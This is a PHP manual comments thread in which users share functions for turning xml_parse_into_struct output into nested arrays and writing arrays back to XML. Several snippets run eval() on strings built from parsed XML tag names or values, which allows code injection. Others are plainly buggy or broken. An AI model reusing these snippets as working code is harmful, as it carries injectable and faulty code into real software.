09-Jan-2006 04:15
This is just another simple xml parser :)

<?php

class Xml
{
   var $tag;
   var $value;
   var $attributes;
   var $next;
}

function xml2array($xml_string)
{
   $Parser = xml_parser_create();
   xml_parser_set_option($Parser, XML_OPTION_CASE_FOLDING, 0);
   xml_parser_set_option($Parser, XML_OPTION_SKIP_WHITE, 1);
   xml_parse_into_struct($Parser, $xml_string, $Xml_Values);
   xml_parser_free($Parser);
   $XmlClass = array();
   $LastObj = array();
   $NowObj = &$XmlClass;

   foreach($Xml_Values as $Xml_Key => $Xml_Value)
   {
       $Index = count($NowObj);
       if($Xml_Value["type"] == "complete")
       {
           $NowObj[$Index] = new Xml;
           $NowObj[$Index]->tag = $Xml_Value["tag"];
           $NowObj[$Index]->value = $Xml_Value["value"];
           $NowObj[$Index]->attributes = $Xml_Value["attributes"];
       }
       elseif($Xml_Value["type"] == "open")
       {
           $NowObj[$Index] = new Xml;
           $NowObj[$Index]->tag = $Xml_Value["tag"];
           $NowObj[$Index]->value = $Xml_Value["value"];
           $NowObj[$Index]->attributes = $Xml_Value["attributes"];
           $NowObj[$Index]->next = array();
           $LastObj[count($LastObj)] = &$NowObj;
           $NowObj = &$NowObj[$Index]->next;
       }
       elseif($Xml_Value["type"] == "close")
       {
           $NowObj = &$LastObj[count($LastObj) - 1];
           unset($LastObj[count($LastObj) - 1]);
       }

   }

   return $XmlClass;
}

$String = "
<parser>
   <parseur_name>MyParser</parseur_name>
   <category>
       <name>Name 1</name>
       <note>A note 1</note>
   </category>
</parser>
";
$Xml = xml2array($String);

print_r($Xml);
?>

This exemple will show :
Array
(
   [0] => Xml Object
       (
           [tag] => parser
           [value] =>
           [attributes] =>
           [next] => Array
               (
                   [0] => Xml Object
                       (
                           [tag] => parseur_name
                           [value] => MyParser
                           [attributes] =>
                           [next] =>
                       )

                   [1] => Xml Object
                       (
                           [tag] => category
                           [value] =>
                           [attributes] =>
                           [next] => Array
                               (
                                   [0] => Xml Object
                                       (
                                           [tag] => name
                                           [value] => Name 1
                                           [attributes] =>
                                           [next] =>
                                       )

                                   [1] => Xml Object
                                       (
                                           [tag] => note
                                           [value] => A note 1
                                           [attributes] =>
                                           [next] =>
                                       )

                               )

                       )

               )

       )

)
VampBoy
15-Dec-2005 06:45
WHUPS! that was a broken test version.here is the real one:

class xml2array{
/* This class parses XML tags into a recursive, associative array with the tags as the associative array elements names.

if it encounters multiples of the same tag within a stream, it enumerates them as a sub array under the tag thus:

Array (
   [Lvl1tag] => Array (
       [0] => Array(
           [Lvl2tag] = "foo")
       [1]=> Array(
           [Lvl2tag] = "bar")
   )
)

It tries to detect when there is only one copy of a tag under another, and concatinate properly.
*/

   function readxmlfile($xmlfile){ // reads XML file in and returns it
     $xmlstream =fopen($xmlfile,r);
     $xmlraw=fread($xmlstream,1000000);
     fclose($xmlstream);
     return $xmlraw;
   }

   function parseXMLintoarray ($xmldata){ // starts the process and returns the final array
     $xmlparser = xml_parser_create();
     xml_parse_into_struct($xmlparser, $xmldata, $arraydat);
     xml_parser_free($xmlparser);
     $semicomplete = $this->subdivide($arraydat);
     $complete = $this->correctentries($semicomplete);
     return $complete;
   }

   function subdivide ($dataarray, $level = 1){
     foreach ($dataarray as $key => $dat){
       if ($dat[level] === $level && $dat[type] === "open"){
         $toplvltag = $dat[tag];
       } elseif ($dat[level] === $level && $dat[type] === "close" && $dat[tag]=== $toplvltag){
         $newarray[$toplvltag][] = $this->subdivide($temparray,($level +1));

         unset($temparray,$nextlvl);
       } elseif ($dat[level] === $level && $dat[type] === "complete"){
         $newarray[$dat[tag]]=$dat[value];
       } elseif ($dat[type] === "complete"||$dat[type] === "close"||$dat[type] === "open"){
         $temparray[]=$dat;
       }
     }
     return $newarray;
   }
function correctentries($dataarray){

if (is_array($dataarray)){
  $keys =  array_keys($dataarray);
  if (count($keys)== 1 && is_int($keys[0])){
   $tmp = $dataarray[0];
   unset($dataarray[0]);
       $dataarray = $tmp;
  }
  $keys2 = array_keys($dataarray);
  foreach($keys2 as $key){
   $tmp2 = $dataarray[$key];
   unset($dataarray[$key]);
   $dataarray[$key] = $this->correctentries($tmp2);
   unset($tmp2);
  }
  }
return $dataarray;
}
}
p dot gasiorowski at axent dot pl
13-Dec-2005 10:31
Something similar to kieran's _xml2array, however much more faster.
------
class ObjectFromXML
{
   var $parser;
   var $iter = 0;
   var $path = array();
   var $xml = array();

   function ObjectFromXML($XML)
   {
       $this->parser = xml_parser_create();

       xml_set_object($this->parser, &$this);

       xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
       xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);

       xml_set_element_handler($this->parser, "hanleTagStart", "hanleTagEnd");
       xml_set_character_data_handler($this->parser, "hanleTagCData");

       xml_parse($this->parser, $XML);
       xml_parser_free($this->parser);

       $this->xml = $this->xml['_children'][0];
   }

   function getEvalPath()
   {
       return '$this->xml[' . "'" . implode("']['", $this->path) . "'" . ']';
   }

   function hanleTagStart($parser, $tag, $attributes)
   {
       array_push($this->path, '_children');
       array_push($this->path, ($this->iter++));

       $e = $this->getEvalPath();
       eval ($e . "['_name'] = \$tag;");
       if ($attributes !== array())
       {
           eval ($e . "['_attributes'] = \$attributes;");
       }
   }

   function hanleTagCData($parser, $cdata)
   {
       $e = $this->getEvalPath();
       eval ($e . "['_value'] = \$cdata;");
   }

   function hanleTagEnd($parser, $tag)
   {
       array_pop($this->path);
       array_pop($this->path);
   }
}
mbirth at webwriters dot de
08-Nov-2005 07:48
Searching for a nice and working way to get a RSS feed into an array-structure, I found the solution posted by kieran but disliked those several eval()s. So I wrote my own using references/pointers.

<?php

class RSSParser {

  var $struct = array();  // holds final structure
  var $curptr;  // current branch on $struct
  var $parents = array();  // parent branches of current branch

  function RSSParser($url) {
   $this->curptr =& $this->struct;  // set ref to base
   $xmlparser = xml_parser_create();
   xml_set_object($xmlparser, $this);
   xml_set_element_handler($xmlparser, 'tag_open', 'tag_close');
   xml_set_character_data_handler($xmlparser, 'cdata');
   $fp = fopen($url, 'r');

   while ($data = fread($fp, 4096))
     xml_parse($xmlparser, $data, feof($fp))
     || die(sprintf("XML error: %s at line %d",
         xml_error_string(xml_get_error_code($xmlparser)),
         xml_get_current_line_number($xmlparser)));

   fclose($fp);
   xml_parser_free($xmlparser);
  }

  function tag_open($parser, $tag, $attr) {
   $i = count($this->curptr['children']);
   $j = count($this->parents);
   $this->curptr['children'][$i]=array();  // add new child element
   $this->parents[$j] =& $this->curptr;  // store current position as parent
   $this->curptr =& $this->curptr['children'][$i];  // submerge to newly created child element
   $this->curptr['name'] = $tag;
   if (count($attr)>0) $this->curptr['attr'] = $attr;
  }

  function tag_close($parser, $tag) {
   $i = count($this->parents);
   if ($i>0) $this->curptr =& $this->parents[$i-1];  // return to parent element
   unset($this->parents[$i-1]);  // clear from list of parents
  }

  function cdata($parser, $data) {
   $data = trim($data);
   if (!empty($data)) {
     $this->curptr['value'] .= $data;
   }
  }

}

$myparser = new RSSParser('getitems.xml');
$anotherparser = new RSSParser('http://johndoe:secret@myfeeds.com/getfeed.xml');

print_r($myparser->struct);
print_r($anotherparser->struct);

?>
kieran at kieran dot ca
21-Oct-2005 12:20
<?
/*
|
| _xml2array - another abstraction layer on xml_parse_into_struct
|              that returns a nice nested array.
|
|      @param: $xml is a string containing a full xml document
|
|    returns: a nested php array that looks like this:
|
|              array
|              (
|                  [_name] => the name of the tag
|                  [_attributes] => an array of 'attribute'=>'value' combos
|                  [_value] => the text contents of the node
|                  [_children] => an array of these arrays, one for each node.
|              )
|
|      notes: thanks to 'jeffg at activestate dot com' who inspired
|              me to essentially re-write his example code from php.net
|
|          me: Kieran Huggins < kieran[at]kieran[dot]ca >
|
*/
function _xml2array($xml){
   global $keys;
   global $level;
   if(!is_array($xml)){ // init on first run
       $raw_xml = $xml;
       $p = xml_parser_create();
       xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
       xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
       xml_parse_into_struct($p, $raw_xml, $xml, $idx);
       xml_parser_free($p);
   }
   for($i=0;$i<count($xml,1);$i++){
       // set the current level
       $level = $xml[$i]['level'];

       if($level<1)break;

       // mark this level's tag in the array
       $keys[$level] = '['.$i.']';

       // if we've come down a level, sort output and destroy the upper level
       if(count($keys)>$level) unset($keys[count($keys)]);

       // ignore close tags, they're useless
       if($xml[$i]['type']=="open" || $xml[$i]['type']=="complete"){

           // build the evalstring
           $e = '$output'.implode('[\'_children\']',$keys);

           // set the tag name
           eval($e.'[\'_name\'] = $xml[$i][\'tag\'];');

           // set the attributes
           if($xml[$i]['attributes']){
               eval($e.'[\'_attributes\'] = $xml[$i][\'attributes\'];');
           }

           // set the value
           if($xml[$i]['value']){
               eval($e.'[\'_value\'] = trim($xml[$i][\'value\']);');
           }

       }

   }

   return $output;
}
?>
info at gramba dot tv
23-Aug-2005 11:54
I was working with the xml2array functions below and had big performance problems. I fired them on a 20MB XML file and had to quit since all approaches of parsing where just too slow (more than 20 Minute parsing etc..). The solution was parsing it manually with preg_match, which increased performance by more than 20 times (processing time about 1 minute).

Rough example function with high performance:

<?php

function customXMLtoARRAY($xmlstring) {

   // get all nodes
   preg_match_all("#<node>(.*?)</node>#s",$xmlstring,$nodes);
   $xmlstring = NULL;

   $allnodes = array();

   // put subnodes into node
   while($nodes = array_pop($nodes[1])) {

       $nodecontent = array();

       // Content1
       preg_match("#<content1>(.*?)</content1>#",$eventreihe,$val);
       $nodecontent['content1'] = $val[1];

       $allnodes[] = $nodecontent;

   }
   return $allnodes;
}

?>
Chris Hester
28-Jul-2005 08:06
The array generated from XML stores not only the elements but also any spaces and linebreaks between the tags. This results in a much longer array. (I had 24 array fields instead of 10!) To cure this use the following code when creating the parser:

<?php
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser,XML_OPTION_SKIP_WHITE,1);
?>
grusin at gmail dot com
20-Jul-2005 02:54
Here is a simple patch to peter's xml2array function.

Replace:

<?
case 'open':
$tag_or_id = (array_key_exists ('attributes', xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
$ptrs[$level][$tag_or_id] = array ();
$ptrs[$level+1] = & $ptrs[$level][$tag_or_id];
break;
?>

with:

<?
case 'open':
$tag_or_id = (array_key_exists ('attributes', $xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
$ptrs[$level][$tag_or_id][] = array ();
$ptrs[$level+1] = & $ptrs[$level][$tag_or_id][count($ptrs[$level][$tag_or_id])-1];
break;
?>

and now code should handle multiple element case :)
Dustin
13-Jul-2005 11:39
If you happen to have problems with weird charaters, I added this code to the first line of dUDA's function:

$XML = utf8_decode($XML);
PhF at madmac dot fr
24-Jun-2005 04:11
The code previously posted by noob at noobsrule dot com doesn't work when the same tag name is used at different levels.
(but perhaps "$php_used_prefix" was intended for that ?)
For example:
<RatedShipment>
  <TransportationCharges>
   ...
  </TransportationCharges>
  <RatedPackage>
   <TransportationCharges>
     ...
   </TransportationCharges>
  </RatedPackage>
</RatedShipment>
<?php
   $p = xml_parser_create();
   xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
   xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
   xml_parse_into_struct($p, $UPSxml, $values, $idx);
   xml_parser_free($p);

   // tracking used keys
   $usedKeys = array();
   $deepLevel = -1;

   // start a php array string (evaluated later)
   $forEvalPrefix = '$xml_array';

   // loop throught the value array
   foreach ($values as $key => $val) {
       $tagName = $val['tag']; // pass the key tag into a more friendly looking variable
       $level = $val['level']; // idem
       if($val['type'] == 'open') {
           $deepLevel++; // increase deep level
           $forEvalPrefix .= '[\''. $tagName .'\']';

           // begin used keys checks to allow multidimensionatity under the same tag
           (isset($usedKeys[$level][$tagName])) ? $usedKeys[$level][$tagName]++ : $usedKeys[$level][$tagName] = 0;
           $forEvalPrefix .= '['. $usedKeys[$level][$tagName] .']';
       }
       if($val['type'] == 'complete') {
           ($level > $deepLevel) ? $deepLevel++ : ''; // increase $deepLevel only if current level is bigger
           $tagValue = addslashes($val['value'] ); // format the value for evaluation as a string
           $forEvalSuffix = '[\''. $tagName .'\'] = \''. $tagValue .'\';'; // create a string to append to the current prefix
           $forEval = $forEvalPrefix . $forEvalSuffix; // (without "$php_used_prefix"...)
           eval($forEval); // write the string to the array structure
       }
       if($val['type'] == 'close') {
           unset($usedKeys[$deepLevel]); // Suppress tagname's keys useless
           $deepLevel--;
           $forEvalPrefix = substr($forEvalPrefix, 0, strrpos($forEvalPrefix, '[')); // cut off the used keys node
           $forEvalPrefix = substr($forEvalPrefix, 0, strrpos($forEvalPrefix, '[')); // cut off the end level of the array string prefix
       }
   }
echo '<pre>';
print_r ($xml_array);
echo '</pre>';
?>

MADmac ;-)
peter at elemental dot org
15-Jun-2005 11:46
Quick addendum to my post below... The code does *not* handle cases where multiple elements are used without attribute IDs, as is the case with the moldb example.  (It is probably worth noting that some of the other code below doesn't do this either, and is still more complex.)

It is not difficult to add that functionality, but I have yet to find an elegant way to integrate that feature, and since I don't need that functionality at the moment, I'm going leave that as an exercise to the reader.  ;-)

-p.
peter at elemental dot org
15-Jun-2005 07:09
Some of the code posted previously seemed absurdly complex, so I thought I'd see if I could simplify things a bit. Here's what I came up with.  (I'm still a PHP newbie, so perhaps I simplified too much.  ;-)  Untested for speed, but it *should* be pretty quick since it uses references instead of lookups or (gack) evals.

Enjoy!

/*
 *  Convert a string containing XML into a nested array
 *
 *  Takes a raw XML string as input
 *  Returns a nested array
 */

function xml2array ($xml_data)
{
   // parse the XML datastring
   $xml_parser = xml_parser_create ();
   xml_parse_into_struct ($xml_parser, $xml_data, $vals, $index);
   xml_parser_free ($xml_parser);

   // convert the parsed data into a PHP datatype
   $params = array();
   $ptrs[0] = & $params;
   foreach ($vals as $xml_elem) {
       $level = $xml_elem['level'] - 1;
       switch ($xml_elem['type']) {
       case 'open':
           $tag_or_id = (array_key_exists ('attributes', $xml_elem)) ? $xml_elem['attributes']['ID'] : $xml_elem['tag'];
           $ptrs[$level][$tag_or_id] = array ();
           $ptrs[$level+1] = & $ptrs[$level][$tag_or_id];
           break;
       case 'complete':
           $ptrs[$level][$xml_elem['tag']] = (isset ($xml_elem['value'])) ? $xml_elem['value'] : '';
           break;
       }
   }

   return ($params);

}
gleber at mapnet dot pl
27-Mar-2005 07:03
XMLtoArray created by dudus at onet dot pl was not good enough for me, that's why i decided to create my own version, and here's the result:

<?php

function &last(&$array) {
if (!count($array)) return null;
end($array);
return $array[key($array)];
}

function myParseXML(&$vals, &$dom, &$lev) {
   do {
       $curr = current($vals);
       $lev = $curr['level'];
       switch ($curr['type']) {
           case 'open':
               if (isset($dom[$curr['tag']])) {
                   $tmp = $dom[$curr['tag']];
                   if (!$tmp['__multi'])
                       $dom[$curr['tag']] = array('__multi' => true, $tmp);
                   array_push($dom[$curr['tag']], array());
                   $new =& last($dom[$curr['tag']]);
               } else {
                   $dom[$curr['tag']] = array();
                   $new =& $dom[$curr['tag']];
               }
               next($vals);
               myParseXML(&$vals, $new, $lev);
               break;
           case 'cdata':
               break;
           case 'complete':
               if (!isset($dom[$curr['tag']]))
                   $dom[$curr['tag']] = $curr['value'];
               else {
                   if (is_array($dom[$curr['tag']]))
                       array_push($dom[$curr['tag']] , $curr['value']);
                   else
                       array_push($dom[$curr['tag']] = array($dom[$curr['tag']]) , $curr['value']);
               }
               break;
           case 'close':
               return;
       }
   }
   while (next($vals)!==FALSE);
}

function MyXMLtoArray($XML) {
       $xml_parser = xml_parser_create();
       xml_parse_into_struct($xml_parser, $XML, $vals);
       xml_parser_free($xml_parser);
       reset($vals);
       $dom = array(); $lev = 0;
       myParseXML($vals, $dom, $lev);
       return $dom;
}

?>

MyXMLtoArray() is that function you should call, other are for "internal" use.

P.S. It's 4-5 time faster then dudus at onet dot pl 's code
noob at noobsrule dot com
25-Jan-2005 02:59
This is my first time contributing but I found all the examples either didn't work or were beyond my comprehension.  I also wanted to maintain the XML multi-dimensionality so I could do loops based on keys I was expecting rather than numbers or some other whatnot.  This script is probably way inefficient, but should give you a multidimensional array with a depth that will match the XML source.  Great for situations when you aren't sure what you'll be getting back.  Its also only based on the values array of xml_parse_into_str() using the 3 tag types (open, complete, and close) -- hopefully it will make more sense to other noobs.

Basically it just constructs a string ($php_prefix) that is tweaked if it hits an "open" or "close" tag and evaluated if it hits a "complete" tag.

Thanks.

<?php

# initiate curl session...
$ch = curl_init( "http://yourtargethost" ) or die ( "could not initialize curl" );

# set curl options...
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_POST, 1 );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $request_str );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 0 );
curl_setopt( $ch, CURLOPT_REFERER, https://foobar.com" );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );

# execute curl commands...
$curl_result = curl_exec( $ch ) or die ( "could not execute the post" );
curl_close( $ch ); // close curl session

# pass the XML result into 2 arrays ( index and values )...
$p = xml_parser_create();
xml_parser_set_option($p, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);
xml_parse_into_struct($p, $curl_result, $vals, $index);
xml_parser_free($p);

# create an empty used key tracker...
$used_keys = array();

# start a php array string (evaluated later)...
$php_prefix = "$"."my_array";

# loop through the values array...
foreach ($vals as $key => $val) {
   if( $val['type'] == "open" ) {
       $my_tag = $val['tag']; // pass the key tag into a more friendly looking variable...
       $php_prefix .= "['".$my_tag."']"; # add a new level to the array string...

       # begin used key checks to allow multidimensionality under the same tag, adds a number to the prefix if necessary...
       if( ! array_key_exists( $my_tag, $used_keys ) ) {
           $used_keys[$my_tag] = 0;
           $php_prefix .= "[".$used_keys[$my_tag]."]";
       }else {
           $used_keys[$my_tag]++; // increment the key tracker to avoid overwriting existing key...
           $php_prefix .= "[".$used_keys[$my_tag]."]";
       }
   } elseif( $val['type'] == "complete" ) {
       $my_value = addslashes( $val['value'] ); # format the value for evaluation as a string...
       $php_suffix = "['".$val['tag']."'] = \"".$my_value."\";"; # create a string with the tag and value to append to the current prefix (just used here)...
       $php_str = $php_prefix.$php_used_prefix.$php_suffix;
       eval( $php_str ); # write the string to the array structure...
   }
   if( $val['type'] == "close" ) {
       $php_prefix = substr( $php_prefix, 0, strrpos( $php_prefix, "[" ) ); # cut off the used keys node...
       $php_prefix = substr( $php_prefix, 0, strrpos( $php_prefix, "[" ) ); # cut off the end level of the array string prefix...
   }
}

echo "<pre>";
//print_r ($index);
//echo "<br><br><br>";
//print_r ($vals);
//echo "<br><br><br>";
print_r ($my_array);
echo "</pre>";

?>
dudus at onet dot pl
18-Jan-2005 10:33
This function return array from XML. Included attributes and tags in same level.
I wrote this function based on mmustafa code.

enjoy!
dUDA

-------------------------------

<?
function XMLtoArray($XML)
{
   $xml_parser = xml_parser_create();
   xml_parse_into_struct($xml_parser, $XML, $vals);
   xml_parser_free($xml_parser);
   // wyznaczamy tablice z powtarzajacymi sie tagami na tym samym poziomie
   $_tmp='';
   foreach ($vals as $xml_elem)
   {
       $x_tag=$xml_elem['tag'];
       $x_level=$xml_elem['level'];
       $x_type=$xml_elem['type'];
       if ($x_level!=1 && $x_type == 'close')
       {
           if (isset($multi_key[$x_tag][$x_level]))
               $multi_key[$x_tag][$x_level]=1;
           else
               $multi_key[$x_tag][$x_level]=0;
       }
       if ($x_level!=1 && $x_type == 'complete')
       {
           if ($_tmp==$x_tag)
               $multi_key[$x_tag][$x_level]=1;
           $_tmp=$x_tag;
       }
   }
   // jedziemy po tablicy
   foreach ($vals as $xml_elem)
   {
       $x_tag=$xml_elem['tag'];
       $x_level=$xml_elem['level'];
       $x_type=$xml_elem['type'];
       if ($x_type == 'open')
           $level[$x_level] = $x_tag;
       $start_level = 1;
       $php_stmt = '$xml_array';
       if ($x_type=='close' && $x_level!=1)
           $multi_key[$x_tag][$x_level]++;
       while($start_level < $x_level)
       {
             $php_stmt .= '[$level['.$start_level.']]';
             if (isset($multi_key[$level[$start_level]][$start_level]) && $multi_key[$level[$start_level]][$start_level])
                 $php_stmt .= '['.($multi_key[$level[$start_level]][$start_level]-1).']';
             $start_level++;
       }
       $add='';
       if (isset($multi_key[$x_tag][$x_level]) && $multi_key[$x_tag][$x_level] && ($x_type=='open' || $x_type=='complete'))
       {
           if (!isset($multi_key2[$x_tag][$x_level]))
               $multi_key2[$x_tag][$x_level]=0;
           else
               $multi_key2[$x_tag][$x_level]++;
             $add='['.$multi_key2[$x_tag][$x_level].']';
       }
       if (isset($xml_elem['value']) && trim($xml_elem['value'])!='' && !array_key_exists('attributes',$xml_elem))
       {
           if ($x_type == 'open')
               $php_stmt_main=$php_stmt.'[$x_type]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
           else
               $php_stmt_main=$php_stmt.'[$x_tag]'.$add.' = $xml_elem[\'value\'];';
           eval($php_stmt_main);
       }
       if (array_key_exists('attributes',$xml_elem))
       {
           if (isset($xml_elem['value']))
           {
               $php_stmt_main=$php_stmt.'[$x_tag]'.$add.'[\'content\'] = $xml_elem[\'value\'];';
               eval($php_stmt_main);
           }
           foreach ($xml_elem['attributes'] as $key=>$value)
           {
               $php_stmt_att=$php_stmt.'[$x_tag]'.$add.'[$key] = $value;';
               eval($php_stmt_att);
           }
       }
   }
     return $xml_array;
}    // END XMLtoArray
?>
memandeemail at gmail dot com
09-Dec-2004 11:09
a BREAK on right place, will be faster and bugprevent

   /**
   * @return bool
   * @param xml_array $values
   * @param xml_array[reference] $tags
   * @desc Reconstruct xml_parse_into_struct to open and close concept
   */
   function reconstruct_tag($values, &$tags) {
       unset($return);
       foreach ($tags as $tkey => $tvalue) {
           foreach ($tvalue as $vvalue) {
               if ($values[$vvalue]['type'] == 'open' or $values[$vvalue]['type'] == 'complete') {
                   $return[$tkey][] = $vvalue;
               }
               if ($values[$vvalue]['type'] == 'open') {
                   foreach ($tvalue as $tv_value) {
                       if ($values[$tv_value]['type'] == 'close'
                       and $values[$tv_value]['level'] == $values[$vvalue]['level']
                       and $tv_value > $vvalue) {
                           $return[$tkey][] = $tv_value;
                           break;
                       }
                   }
               }
           }
       }
       $tags = $return;
       return (bool) $tags;
   }
memandeemail at gmail dot com
03-Dec-2004 08:32
If you have de XML:
<?xml version="1.0" encoding="iso-8859-1"?>
<teste>
   <teste>
       <teste>
       </teste>
   </teste>
</teste>

this function will return this tags:
Array
(
   [teste] => Array
       (
           [0] => 0
           [1] => 1
           [2] => 2
           [3] => 3
           [4] => 4
       )

)

With this function (right below) will convert the struc to OPEN and CLOSE concept.

The New Struct:
Array
(
   [teste] => Array
       (
           [0] => 0
           [1] => 4
           [2] => 1
           [3] => 3
           [4] => 2
       )

)
The Function:
/**
 * @return bool
 * @param xml_array $values
 * @param xml_array[reference] $tags
 * @desc Reconstruct xml_parse_into_struct
*/
function reconstruct_tag($values, &$tags) {
   unset($return);
   foreach ($tags as $tkey => $tvalue) {
       foreach ($tvalue as $vvalue) {
           if ($values[$vvalue]['type'] == 'open' or $values[$vvalue]['type'] == 'complete') {
               $return[$tkey][] = $vvalue;
           }
           if ($values[$vvalue]['type'] == 'open') {
               foreach ($tvalue as $tv_value) {
                   if ($values[$tv_value]['type'] == 'close'
                   and $values[$tv_value]['level'] == $values[$vvalue]['level']) {
                       $return[$tkey][] = $tv_value;
                   }
               }
           }
       }
   }
   $tags = $return;
   return (bool) $tags;
}

Ahh, DO NOT forget this comment:

jukkaho at mail dot student dot oulu dot fi
29-Jun-2004 12:17
Everyone seems to forget the return value of this function (including people making examples!), but it is there for a reason:
0 if failed (invalid XML), 1 if succeeded.

Return value really is an integer, be careful with those === operators.
rob at digital hyphen crocus dot com
04-Sep-2004 12:21
I wrote this function in a bad mood, to get some data you can loop through. sprint_r or var_dump its output to see what it does. It's not pretty, but at least you can loop through the data without a LOT of hassle.

This can also be done with handlers, but I couldn't be bothered with global variables.

<?php

$data = xml_parse_into_struct($somexml);

function xml_getmeaningfuldata($data) {
foreach($data as $element) {
       if ($element['type'] == "open") {
               if (!$elementnos[$parents.$element['tag']]) {
                       $elementnos[$parents.$element['tag']] = 1;
               }
               $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['attributes'] = $element['attributes'];
               $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['value'] = trim($element['value']);
               $parents .= $element['tag'].":".$elementnos[$parents.$element['tag']]."^";
       }
       if ($element['type'] == "cdata") {
               if (trim($element['value'])) {
                       $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['values'] = $element['value'];
               }
       }
       if ($element['type'] == "complete") {
               if (!$elementnos[$parents.$element['tag']]) {
                       $elementnos[$parents.$element['tag']] = 1;
               }
               $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['attributes'] = $element['attributes'];
               $elements[$parents.$element['tag'].":". $elementnos[$parents.$element['tag']]]['value'] = trim($element['value']);
               $elementnos[$parents.$element['tag']]++;
       }
       if ($element['type'] == "close") {
               $parents = substr($parents, 0, strrpos(substr($parents, 0, -1), "^")+1);
               $elementnos[$parents.$element['tag']]++;
//              if (sizeof($parents) == 1) unset($parents);
       }
}

return $elements;

}
happyseb at free dot fr
24-Aug-2004 11:51
I would just add something about the solution proposed by "gordon at kanazawa dot ac dot jp".

Something went wrong about the fact that "cdata" are treated the same way as "complete" in the xml_get_children first and in the xml_get_child then.

When ?
with this method, something like this :
<tagA>
  <tagB>valueB</tagB>
  valueA
  <tagC>valueC</tagC>
</tagA>
is considered as the same thing as
<tagA>
  <tagB>valueB</tagB>
  <tagA>valueA</tagA>
  <tagC>valueC</tagC>
</tagA>

The algorithm is nomore bijective.

Even if it might not be perfect :-) i propose a little modification of the xml_get_child function :

function xml_get_child(&$v, $children=NULL) {
     $c = array(); // the "child"
     if (isset($v['tag']) && $v['type'] != 'cdata') $c['tag'] = $v['tag'];
     if (isset($v['value'])) $c['value'] = $v['value'];
     if (isset($v['attributes'])) $c['attributes'] = $v['attributes'];
     if (is_array($children)) $c['children'] = $children;
     return $c;
}

moreover, the following function will take the tree (made from the xml_get_tree function) as a parameter and build the xml content back

   /*
   // setTree
   // set xml Tree from a well-formed array
   // manage indentation
   // Parameters are :
   // $1 (needed) : Tree to transform
   // $2 (optional) : Indentation type (default is one tabulation)
   // $3 (optional) : First indent (default is empty string)
   */

   function setTree($Atree, $indentType = '    ', $Sindent = '')
   {
     if (! isset ($Atree['tag']) && isset ($Atree['value'])) return ($Sindent.trim($Atree['value'])."\r\n") ;
     else {
       $Stemp = $Sindent.'<'.$Atree['tag'].' ' ;
       if (isset ($Atree['attributes']) && is_array ($Atree['attributes'])) {
         foreach ($Atree['attributes'] as $Aattribute => $Svalue) $Stemp .= $Aattribute.'="'.$Svalue.'" ' ;
       }
       if (! isset ($Atree['children']) && ! isset ($Atree['value'])) $Stemp .= '/>'."\r\n" ;
       else {
         $Stemp .= '>'."\r\n" ;
         if (isset ($Atree['value'])) $Stemp .= $Sindent.$indentType.trim($Atree['value'])."\r\n" ;
         if (isset ($Atree['children']) && is_array ($Atree['children']))
           foreach ($Atree['children'] as $Achild) $Stemp .= $this->setTree($Achild, $indentType, $Sindent.$indentType) ;
         $Stemp .= $Sindent.'</'.$Atree['tag'].'>'."\r\n" ;
       }
       return ($Stemp) ;
     }
   }
sdh33 at cornell dot edu
14-Jun-2004 01:12
(The previous post I wrote was incorrect.  I fix that herein)
I used the algorithm from stephane for writing back to a file, but ran into the following problem.  My original XML looks like

<ENTRY id="1"> ... </ENTRY><ENTRY id="2"> ... </ENTRY>

This got saved back as

<1> ... </1><2> ... </2>,

which expat doesn't like.  So I propose the following modification:

function writeXmlToFile($data, $f, $niv = 0) {
  foreach($data as $name => $elem) {
   if (preg_match("/\A[0-9]/",$name)) {
     $open = "ENTRY id=\"$name\""; $name = "ENTRY";
   } else {
     $open = $name;
   }
   if(is_array($elem)) {
     fwrite($f, str_repeat("  ", $niv)."<".$open.">"."\n");
     writeXmlToFile($elem, $f, $niv + 1);
     fwrite($f, str_repeat("  ", $niv)."</".$name.">"."\n");
   } else {
     fwrite($f, str_repeat("  ", $niv)."<".$open.">".$elem."</".$name.">"."\n");
   }
  }
}
stephane dot dekeyzer at noemail dot com
09-Apr-2004 02:54
for writing the array of mmustafa back to a xml file, use this code:

function writeXmlFile($fileName, $struct){
  $f = fopen($fileName, "w");
  writeXmlToFile($struct, $f);
  fclose($f);
}

function writeXmlToFile($data, $f, $niv = 0){
  foreach($data as $name => $elem){
   if(is_array($elem)){
     fwrite($f, str_repeat("  ", $niv)."<".$name.">"."\n");
     writeXmlToFile($elem, $f, $niv + 1);
     fwrite($f, str_repeat("  ", $niv)."</".$name.">"."\n");
   }
   else{
     fwrite($f, str_repeat("  ", $niv)."<".$name.">".$elem."</".$name.">"."\n");
   }
  }
}
gordon at kanazawa dot ac dot jp
26-Jan-2004 12:36
Many thanks to "dave at ovumdesign dot com" for his excellent routines based on the fine work of "gdemartini at bol dot com". I offer a further refinement below, which removes the duplication of the code to create a child node. The resulting tree is the same as in Dave's earlier version and so can be compacted using his "xml_condense_tree"

function xml_get_child(&$v, $children=NULL) {
   $c = array(); // the "child"
   if (isset($v['tag'])) $c['tag'] = $v['tag'];
   if (isset($v['value'])) $c['value'] = $v['value'];
   if (isset($v['attributes'])) $c['attributes'] = $v['attributes'];
   if (is_array($children)) $c['children'] = $children;
   return $c;
}
function xml_get_children(&$values, &$i) {
   $children = array();
   while ($i < count($values)) {
     $v = &$values[$i++];
     switch ($v['type']) {
         case 'cdata':
         case 'complete':
           $children[] = xml_get_child($v);
           break;
         case 'open':
